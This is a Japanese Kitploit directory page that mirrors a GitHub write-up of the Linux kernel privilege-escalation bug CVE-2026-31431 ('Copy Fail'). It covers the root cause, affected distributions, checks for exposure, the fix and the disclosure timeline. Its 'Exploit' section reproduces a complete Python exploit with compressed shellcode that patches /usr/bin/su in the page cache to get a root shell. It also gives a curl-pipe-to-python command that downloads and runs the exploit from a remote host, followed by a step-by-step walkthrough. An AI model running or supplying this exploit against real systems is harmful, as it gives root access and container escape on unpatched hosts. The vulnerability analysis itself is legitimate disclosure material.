Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431 — CVE-2026-31431(Copy Fail)の構造化された解説。この脆弱性を導入し、その悪用を可能にした3つのカーネル変更を関連付けて説明します。 | Kitploit
ツール/GitHubGitHub/themalwareguardian/cve-2026-31431
特権昇格脆弱性分析エクスプロイト論文と研究学習と教育コンテナエスケープバイナリエクスプロイト
GitHubthemalwareguardian/cve-2026-31431

CVE-2026-31431

CVE-2026-31431(Copy Fail)の構造化された解説。この脆弱性を導入し、その悪用を可能にした3つのカーネル変更を関連付けて説明します。

リポジトリを見る
254ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🐞 CVE-2026-31431 - Copy Fail



authencesn の論理的な欠陥が AF_ALG と splice() を介して連鎖し、システム上の任意の読み取り可能なファイルのページキャッシュへの制御された 4 バイト書き込みに到達します。レースコンディションもオフセットも、コンパイル済みペイロードも必要ありません。同じ 732 バイトのスクリプトで、2017 年以降のすべての Linux ディストリビューションで root を取得できます。




📑 目次

  • 概要
  • 根本原因の分析
    📂
    • AF_ALG + splice() プリミティブ
    • 2017年のインプレース最適化
    • authencesn における範囲外書き込み
    • 無害な3つの変更 → 1つの致命的なバグ
    • scatterlist をたどってページキャッシュページに到達する

  • 影響
  • 影響を受けるディストリビューション
  • 検証 - 影響を受けていますか?

  • エクスプロイト
  • エクスプロイトの解説
    📂
    • ステップ 1 - ソケットのセットアップ
    • ステップ 2 - 書き込みの構築
    • ステップ 3 - ページキャッシュ書き込みのトリガー
    • ステップ 4 - 実行

  • Dirty Cow / Dirty Pipe との比較

  • 修正
  • 開示
  • 参考文献



🔍 概要

CVE-2026-31431 - Copy Fail は、Linux カーネルの authencesn 暗号テンプレートにおける論理的な欠陥です。これにより、特権のないローカルユーザーが、ディスク上のファイルを変更することなく、システム上の任意の読み取り可能なファイルのページキャッシュに対して制御された 4 バイト書き込みを実行できます。

このバグは、3つのコンポーネントのいずれにも単体では存在しません。それらの相互作用から発生します。``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.

2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.

2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.

2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.

root@kitploit:~
---
---
---



<div id='root-cause'/>

## ***🧬 根本原因分析***

<div id='primitive'/>

### ***AF_ALG + splice() プリミティブ***

AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) は、カーネルの暗号APIを非特権ユーザー空間に公開するソケットタイプです。非特権プロセスは以下の操作が可能です:

1. AF_ALG / SOCK_SEQPACKET ソケットを開く。
2. カーネル暗号APIが公開する任意の利用可能な AEAD テンプレートに bind() する。
3. 設定したアルゴリズムに対して setsockopt(SOL_ALG, ALG_SET_KEY, ...) で暗号鍵を設定する。
4. accept() を呼び出して、暗号化・復号リクエストを処理する専用の操作ソケットを取得する。
5. sendmsg() で細工したデータを送信し、recvmsg() で処理結果を受け取ることで、カーネルの暗号サブシステムと完全にやり取りする。

これは、主要な全ディストリビューションのカーネル設定でデフォルトで有効化されています (CONFIG_CRYPTO_USER_API_AEAD=y)。

**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** は、コピーを行わずにファイルディスクリプタ間でデータを転送します。ページへの参照を渡すのであって、コピーを渡すわけではありません。関連するフローは以下の通りです:```
open("/usr/bin/su")   ->  fd_file
pipe()                ->  pipe_rd, pipe_wr

# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)

# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
ツールをダウンロード

AF_ALG ソケットの TX scatterlist は、ファイルのあらゆる read()、mmap()、execve() の際にカーネルが使用するのと同じ物理ページへの直接参照を含みます。コピーは一切行われません。


2017年のインプレース最適化

コミット 72548b093ee3、algif_aead.c。復号の場合、実装は次のとおりです。

  1. AADと暗号文をTX SGL(ソース)からRXバッファ(宛先)にコピーします - 実際のコピーです。
  2. sg_chain() を使用して認証タグのページをチェーンし、RX SGL内のページキャッシュ参照を保持します。
  3. req->src = req->dst を設定し、両方が結合されたRX SGLを指すようにします。``` TX SGL (input from splice): [ page cache page: AAD || CT || Tag ]

In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL

Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.

root@kitploit:~
<div id='authencesn'/>

### ***authencesn における領域外書き込み***

authencesn は、拡張シーケンス番号(RFC 4303)を伴う IPsec で使用されるカーネル AEAD ラッパーです。IPsec は 64 ビットのシーケンス番号を使用します:

- seqno_hi - 上位 32 ビット(AAD のバイト 0〜3)
- seqno_lo - 下位 32 ビット(AAD のバイト 4〜7)

ワイヤ上で送信されるのは seqno_lo のみであり、seqno_hi は暗黙的なコンテキストです。HMAC 計算では、authencesn はこれらのバイトを並べ替える必要があります:ハッシュ入力の先頭に seqno_hi、末尾に seqno_lo を配置します。

この並べ替えは、呼び出し元の宛先 scatterlist をスクラッチ領域として使用して実行されます:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

Call [3] は、dst[assoclen + cryptlen] に 4 バイトを書き込みます。AEAD API の復号における出力契約は、AAD || plaintext、つまり正確に assoclen + (cryptlen - authsize) バイトです。assoclen + cryptlen は認証タグの後方に位置します。authencesn は、自分が所有しないメモリに書き込みを行います。

crypto_authenc_esn_decrypt_tail() は seqno_lo を読み戻して正しい AAD を再構築しますが、dst[assoclen + cryptlen] の元のバイトを復元することはありません。HMAC チェックが成功するか失敗するかに関係なく、この上書きは永続的です。

カーネル内の他の標準 AEAD アルゴリズムは、このような動作をしません。GCM、CCM、標準 authenc は、正当な出力領域にのみ書き込みを厳密に限定しています。


3つの無害な変更 → 1つの重大なバグ

algif_aead の2017年以降のインプレースパスでは、authencesn に req->dst として渡される scatterlist は次の構造になります。``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)

root@kitploit:~
scatterwalk_map_and_copy はページの所有権という概念を持たず、scatterlist が指すページを kmap_local_page でマップして書き込むだけです。req->dst にページキャッシュページが存在する場合、"/usr/bin/su" のキャッシュ済みページをマップし、seqno_lo をファイルのカーネルメモリ内コピーに直接書き込むことになります。

HMAC は並べ替えられたバイトに対して計算され、失敗します(暗号文は攻撃者制御です)。recvmsg() はエラーを返します。ページキャッシュへの4バイト書き込みは永続化されます。

---
<div id='scatterlist'/>

### ***scatterlistをページキャッシュページへ走査する***```c
struct scatterlist {
	unsigned long   page_link;   // physical page + flags (SG_END, SG_CHAIN)
	unsigned int    offset;      // offset within the page
	unsigned int    length;      // bytes in this entry
};

// sg_chain(sgl_a, nents_a, sgl_b):
//   sgl_a[nents_a-1].page_link |= SG_CHAIN;
//   sgl_a[nents_a-1].page_link  = (unsigned long)sgl_b;
//   the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:

entry[0]: page=user_buf_page, offset=0,        length=assoclen      (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4    (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
                        |
                        v
                    page = page_cache_page_of_/usr/bin/su
                    offset = <tag offset within the file>
                    length = authsize (= 4)

scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4)  <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)

ページはダーティとしてマークされることはありません(このパスでは SetPageDirty / mark_page_accessed は呼び出されません)。カーネルのライトバック機構はそれをディスクにフラッシュしません。ディスク上のファイルは変更されないままです。




💥 影響

ページキャッシュへの制御された4バイト書き込みプリミティブは、完全なローカル権限昇格(LPE)に変わります:

  • 攻撃者はどのファイルを制御します(setuid バイナリを含む任意の読み取り可能なファイル)。
  • 攻撃者はファイル内のどのオフセットを制御します(assoclen、splice オフセット、splice 長を介して)。
  • 攻撃者はどの値を制御します(4バイトは seqno_lo で、sendmsg() 内で攻撃者が作成します)。

書き込みを一度に4バイトずつ繰り返すことで、攻撃者はページキャッシュ内の setuid バイナリの .text セクションにシェルコードをパッチできます。execve() はページキャッシュからロードするため、破損したバイナリは UID 0 で実行されます。

ページキャッシュはすべてのコンテナを含むホスト全体で共有されます。Copy Fail は単なるローカル LPE ではなく、コンテナ脱出プリミティブであり、Kubernetes ノード侵害ベクトルです。

環境リスク結果
マルチテナント Linux ホスト重大任意のユーザー → root
Kubernetes / コンテナ重大Pod → ホスト、クロステナント
CI ランナー(信頼できない PR)重大PR → ランナー上で root
ユーザーコードを実行するクラウド SaaS重大テナント → ホスト root
シングルテナントサーバー高内部 LPE; Web RCE と連鎖
シングルユーザーワークステーション中侵害後の権限昇格

🎯 影響を受けるディストリビューション

2017年からパッチ適用までの間にビルドされたカーネルを実行し、デフォルト構成で AF_ALG が有効になっている任意の Linux システム。これには事実上すべての主流ディストリビューションが含まれます。

Theori / Xint によって直接検証済み:

ディストリビューションカーネル
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

影響を受けるカーネルを実行する他のディストリビューション(Debian、Arch、Fedora、Rocky、Alma、Oracle、組込みターゲット)も同様に動作します。バグは共有の crypto サブシステムに存在し、ディストリビューション固有のパッチには存在しません。

悪用要件:

  • 非特権のローカルユーザーアカウント。
  • AF_ALG が利用可能(すべての主流ディストリビューションでデフォルトで有効)。
  • splice(2) が利用可能(普遍的に利用可能)。
  • os.splice 用の Python 3.10+、または任意の言語から生のシステムコールへのアクセス。
  • カーネルデバッグ機能、特別なケーパビリティ、既存のプリミティブは不要。

🔎 検証 - 自分は影響を受けているか?

1. カーネルバージョンを確認```bash

uname -r

root@kitploit:~
カーネルが2017年からパッチ(コミット a664bf3d603d)までの間にビルドされた場合、システムは影響を受ける可能性があります。パッチが存在するか確認してください:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

2. AF_ALGが利用可能かどうかを確認する```bash

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "

root@kitploit:~
### ***3. algif_aead がロードされているか確認する***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

4. 攻撃対象領域の検証スクリプト

次のスクリプトは、脆弱なパスに到達可能かどうかを確認します。書き込みは一切行わず、攻撃対象領域の利用可能性のみを検証します:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys

def check_surface(): results = {}

root@kitploit:~
# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

if name == "main": check_surface()

root@kitploit:~
---

<div id='exploit'/>

## ***💣 エクスプロイト***

このエクスプロイトは、2026年4月29日の公開開示とともに、Theori / Xint Codeによって最初にリリースされました。

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **公式リポジトリ:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **要件:** Python 3.10+、影響を受けるカーネル、AF_ALG有効。```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

実行```bash

Direct download and execution (Theori method)

curl https://copy.fail/exp | python3

Local execution

python3 copy_fail_exp.py

With an alternative target binary (any readable setuid-root binary)

python3 copy_fail_exp.py /usr/bin/passwd

Verify result

id

uid=0(root) gid=1002(user) groups=1002(user)

root@kitploit:~
---
---
---



<div id='walkthrough'/>

## ***🔬 エクスプロイトのウォークスルー***

<div id='step1'/>

### ***ステップ 1 - ソケットのセットアップ***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

The authencesn テンプレートが選択される - これは、正当な出力領域の外に書き込むカーネル内で唯一の AEAD アルゴリズムである。この選択は意図的である: GCM、CCM、および標準の authenc はこのバグを引き起こさない。```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket

root@kitploit:~
ALG_SET_AUTHSIZE = 4 は認証タグサイズを設定します。この値は、dst[assoclen + cryptlen] がscatterlist内のタグ領域に対してどこに位置するかを直接制御し、したがってページキャッシュページ内のどのオフセットが上書きされるかを決定します。

<div id='step2'/>

### ***ステップ 2 - Write を構築する***

ペイロードの4バイトチャンクごとに:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

AAD のバイト 4〜7(seqno_lo)は、authencesn が dst[assoclen + cryptlen] に書き込む 4 バイトと正確に一致します。攻撃者は、これらを目的のペイロード値で細工します。

ファイルオフセットは splice パラメータを介して制御されます:```python

t = target offset within the file

o = t + 4 = splice length (ensures the tag region lands at the correct offset)

o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)

root@kitploit:~
<div id='step3'/>

### ***ステップ3 - ページキャッシュ書き込みをトリガーする***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

recv() 呼び出しは、カーネル内の復号操作をトリガーします。recvmsg() エラーは想定どおりで、無関係です。ページキャッシュへの書き込みは既に発生しています。

ステップ4 - 実行

すべてのペイロードチャンクを反復処理した後:``` os.system("su")

root@kitploit:~
execve("/usr/bin/su"):

1. カーネルはページキャッシュからバイナリを読み込みます。
2. キャッシュされたページには注入されたシェルコードが含まれています(ディスク上のファイルは変更されていません)。
3. /usr/bin/su は setuid-rootです: プロセスは実効UID 0で開始します。
4. シェルコードが rootシェル を起動します。```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)



⚖️ Dirty Cow / Dirty Pipe との比較

これら3つはすべて同じ攻撃クラスに属します: 特権のないユーザー空間からページキャッシュに書き込み、ディスク上のファイルを変更せずに、setuidバイナリを介して権限を昇格する。そのメカニズムと制約は大きく異なります。

  • CVE-2016-5195 - Dirty Cow

    VMサブシステムのコピーオンライト (COW) パスにおける競合状態。TOCTOUウィンドウを勝ち取る必要があり、複数回の試行、信頼性の変動、時折のクラッシュが発生しました。カーネル 2.6.22 から 4.8.3。

  • CVE-2022-0847 - Dirty Pipe

    パイプバッファ内のPIPE_BUF_FLAG_CAN_MERGEフラグを悪用して、攻撃者が制御するデータをページキャッシュにマージします。決定的ですが、バージョン固有です (特定のパッチが適用されたカーネル ≥ 5.8)。

  • CVE-2026-31431 - Copy Fail

    直線的なロジックの欠陥。競合状態も、ディストリビューションごとのオフセットも、コンパイル済みペイロードもありません。標準ライブラリのみを使用する732バイトのPythonスクリプトが、2017年から2026年までのすべての主要ディストリビューションでroot権限を取得します。

Dirty CowDirty PipeCopy Fail
メカニズム競合状態 (COW)パイプフラグの悪用AEADロジック + scatterlist
競合状態の要否はいいいえいいえ
信頼性30-80%高い100%、単発
カーネル範囲2.6.22-4.8.3≥5.8 (特定)2017-2026 (約9年)
ディストリビューション別オフセットはい一部いいえ
コンパイル済みペイロードはいいいえいいえ
コンテナエスケープいいえいいえはい



🩹 修正

メインラインコミット a664bf3d603d は修正します 72548b093ee3 (2017年のインプレース最適化)

このパッチはalgif_aead.cをout-of-place操作に戻します。req->srcとreq->dstは再び別々のscatterlistになります。splice()を介して配信されるページキャッシュページは、読み取り専用のTX SGL (req->src) に残ります。RXバッファ - 暗号アルゴリズムが書き込むことを許可されている唯一のメモリ - はユーザーのrecvmsgバッファ (req->dst) です。以前はタグページ (ページキャッシュ) を書き込み可能な宛先にチェーンしていたsg_chain()メカニズムは削除されます。```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);

/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);

root@kitploit:~
コミットメッセージには次のように記されている: "algif_aead では、ソースとデスティネーションが異なるマッピングから来るため、インプレースで操作しても利点はない。"


---
---
---



<div id='timeline'/>

## ***📅 開示タイムライン***

| 日付       | イベント                                                    |
|------------|----------------------------------------------------------|
| 2026-03-23 | Linuxカーネルセキュリティチームに脆弱性が報告された |
| 2026-03-24 | 最初の受領確認を受け取った                          |
| 2026-03-25 | パッチが提案され、レビューされた                            |
| 2026-04-01 | パッチがメインラインにコミットされた (a664bf3d603d)               |
| 2026-04-22 | CVE-2026-31431 が割り当てられた                                  |
| 2026-04-29 | 公開開示、[copy.fail](https://copy.fail/)       |

**発見者:** Taeyang Lee([Theori](https://theori.io/) / [Xint Code](https://xint.io/))



---
---
---



<div id='references'/>

## ***📚 参考***

- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
	> National Vulnerability Database(NVD)のエントリ。

- **[Copy Fail - 公式開示](https://copy.fail/)**
	> FAQ、影響を受けるディストリビューション、緩和策、および PoC を掲載したランディングページ。

- **[Theori / Xint Blog - 詳細解説](https://xint.io/blog/copy-fail-linux-distributions)**
	> 根本原因、scatterlist の図、歴史的な連鎖(2011→2015→2017)、およびエクスプロイトのウォークスルー。

- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
	> PoC を含む公式リポジトリ。

- **[Commit a664bf3d603d - 修正](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
	> algif_aead のインプレース最適化をリバートする。

- **[Commit 72548b093ee3 - 根本原因 (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
	> ページキャッシュのページを書き込み可能なデスティネーションに配置したインプレース最適化を導入。

- **[Commit a5079d084f8b - authencesn 導入 (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
	> authencesn を追加した最初のコミットで、スクラッチ書き込みパターンを確立した。

- **[Commit 104880a6b470 - authencesn の AEAD API への移行 (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
	> 正規の領域外に書き込む assoclen + cryptlen オフセットを導入した。

- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
	> ページキャッシュ破壊 / LPE クラスにおける先行技術。